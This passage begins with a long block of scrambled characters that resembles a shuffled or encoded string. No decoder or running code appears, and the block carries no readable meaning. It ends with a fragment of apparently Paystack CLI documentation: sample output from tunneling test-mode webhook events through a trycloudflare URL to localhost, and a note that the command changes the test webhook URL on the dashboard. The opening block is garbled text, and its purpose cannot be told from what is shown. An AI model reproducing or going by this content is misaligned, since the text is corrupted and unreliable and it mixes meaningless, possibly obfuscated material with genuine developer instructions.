y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E Tunelling webhook events to localhost:8995/pay/pstk-webhook?country=ng -> Webhook events would now be received at localhost:8995/pay/pstk-webhook?country=ng +> Establishing zero-config tunnel to http://localhost:8995... +> Tunnel URL: https://example.trycloudflare.com +> Tunneling webhook events to localhost:8995/pay/pstk-webhook?country=ng +> Webhook events will now be received at localhost:8995/pay/pstk-webhook?country=ng ``` NOTE - This command is only avalaible in test mode, and by using this command, the CLI would automatically make changes to the Test Webhook URL set on your Paystack dashboard.